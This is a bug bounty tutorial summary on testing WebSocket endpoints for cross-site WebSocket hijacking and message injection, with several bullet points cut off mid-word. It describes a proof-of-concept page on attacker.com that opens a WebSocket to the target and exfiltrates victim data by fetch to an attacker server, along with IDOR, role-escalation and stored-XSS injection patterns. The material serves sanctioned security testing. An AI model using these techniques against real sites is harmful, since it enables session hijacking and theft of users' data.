WebSocket Bug Bounty 2026 — Cross-Site WebSocket Hijacking & Message Injection | BB Day 23

This article teaches WebSocket security testing for bug bounty hunters, focusing on Cross-Site WebSocket Hijacking (CSWSH) and message injection vulnerabilities. WebSocket endpoints are rarely tested despite carrying the same authentication cookies as regular HTTP requests, creating a high-severity, low-competition attack surface. The article provides three hands-on exercises using browser DevTools, Burp Suite, and PortSwigger labs to discover WebSocket endpoints, exploit CSWSH vulnerabilities, and test for message injection flaws.

• WebSocket authentication bypass mechanismWebSocket connections establish authentication once during the initial HTTP Upgrade handshake by carrying the browser's session cookie, then treat all subsequent messages as authenticated without per-message verification. Unlike regular HTTP requests where CSRF tokens protect each action, WebSocket connections receive no CSRF token on the Upgrade request itself, and the browser's same-origin policy does not prevent cross-origin WebSocket connections the way it prevents cross-origin AJAX requests. An attacker's page can initiate a WebSocket connection to any origin, and the victim's browser aut
• Three-condition CSWSH vulnerability modelCSWSH requires three conditions to exploit: (1) authentication via cookies only with no custom headers like Authorization Bearer tokens; (2) no CSRF token in the Upgrade request URL or parameters; (3) no Origin header validation by the server. Testing each condition involves inspecting the Upgrade request in Burp, checking for token parameters, and sending a modified Upgrade request with Origin set to attacker.com to observe whether the server responds with 101 Switching Protocols (vulnerable) or 403 Forbidden (protected).
• WebSocket endpoint discovery methodsFour discovery methods find WebSocket endpoints that automated scanners miss: (1) Browser DevTools Network tab filtered by WS protocol—shows all active connections during page interaction; (2) Burp Suite Proxy WebSockets history tab—captures all WebSocket traffic; (3) JavaScript source search using grep or DevTools for 'new WebSocket', 'ws://', or 'wss://' strings; (4) common path brute-forcing including /ws, /socket, /stream, /realtime, /updates, and /api/ws. Running all four methods across different application implementations catches endpoints that individual methods miss.
• CSWSH proof-of-concept constructionThe PoC is minimal HTML served from attacker.com that instantiates a WebSocket connection to the vulnerable target endpoint using JavaScript: new WebSocket('wss://target.com/ws'). The victim's browser automatically includes their session cookie in the Upgrade request. The onmessage handler captures streamed data and can exfiltrate it by sending a fetch request to an attacker-controlled server. In bug bounty practice, Burp Collaborator serves as the data collection endpoint, providing timestamped out-of-band confirmation of successful exploitation.
• WebSocket message injection vulnerabilitiesServer-side message handlers often process WebSocket message content without validation, enabling three injection patterns: (1) IDOR by modifying userId or accountId fields in JSON messages to access other users' data; (2) privilege escalation by changing role fields that the client sends and the server trusts without verification; (3) stored XSS by injecting script tags in message content that execute when other users receive the message. Testing uses Burp Repeater to modify individual messages from WebSockets history and observe whether the server processes the injected payload.
• Burp Suite WebSocket testing workflowWebSocket traffic appears in Proxy → WebSockets history rather than standard HTTP history. The workflow involves: viewing the Upgrade request to inspect Origin and Cookie headers; sending the Upgrade request to Repeater to test Origin validation by modifying the Origin header; enabling WebSocket Interception Rules to intercept live messages; right-clicking messages in history to send to Repeater for modification and replay. Burp Turbo Intruder extension enables automated fuzzing of WebSocket messages with custom payloads.
• CVSS severity determination for findingsCSWSH severity depends entirely on what data the hijacked WebSocket exposes. Account data, transaction history, or ability to perform account actions through the WebSocket rates High to Critical (typically 7.5–9.0 CVSS). Read-only non-sensitive data rates Low to Informational (3.0–5.0). The attacker interaction requirement—victim must visit the PoC page via social engineering or phishing—does not reduce severity; it is treated as standard for CSWSH, not a multi-step complex attack. Some bug bounty programmes require victim interaction for XSS findings but treat authenticated data disclosure vi
• Bug bounty reporting requirementsCSWSH reports must include the WebSocket endpoint URL, original Upgrade request screenshot from Burp, modified Upgrade request showing attacker Origin, server 101 response confirming acceptance, PoC HTML code, and screenshot of data received from Burp Collaborator. The three-screenshot package (modified Upgrade, Collaborator callback, decoded victim data) makes the finding undeniable in triage. Reports should explain what specific data the connection exposes and what impact an attacker gains, since many developers are unfamiliar with CSWSH and may assume WebSockets inherit CSRF protections fro

Bottom line: WebSocket endpoints represent a high-severity, under-tested attack surface in real-time applications because they bypass standard CSRF protections—test for CSWSH by verifying whether the server validates the Origin header and whether the Upgrade request lacks a CSRF token, then build a working proof-of-concept using Burp Collaborator to exfiltrate victim data. The combination of minimal competition, consistent high-severity findings, and straightforward exploitation using browser DevTools and Bu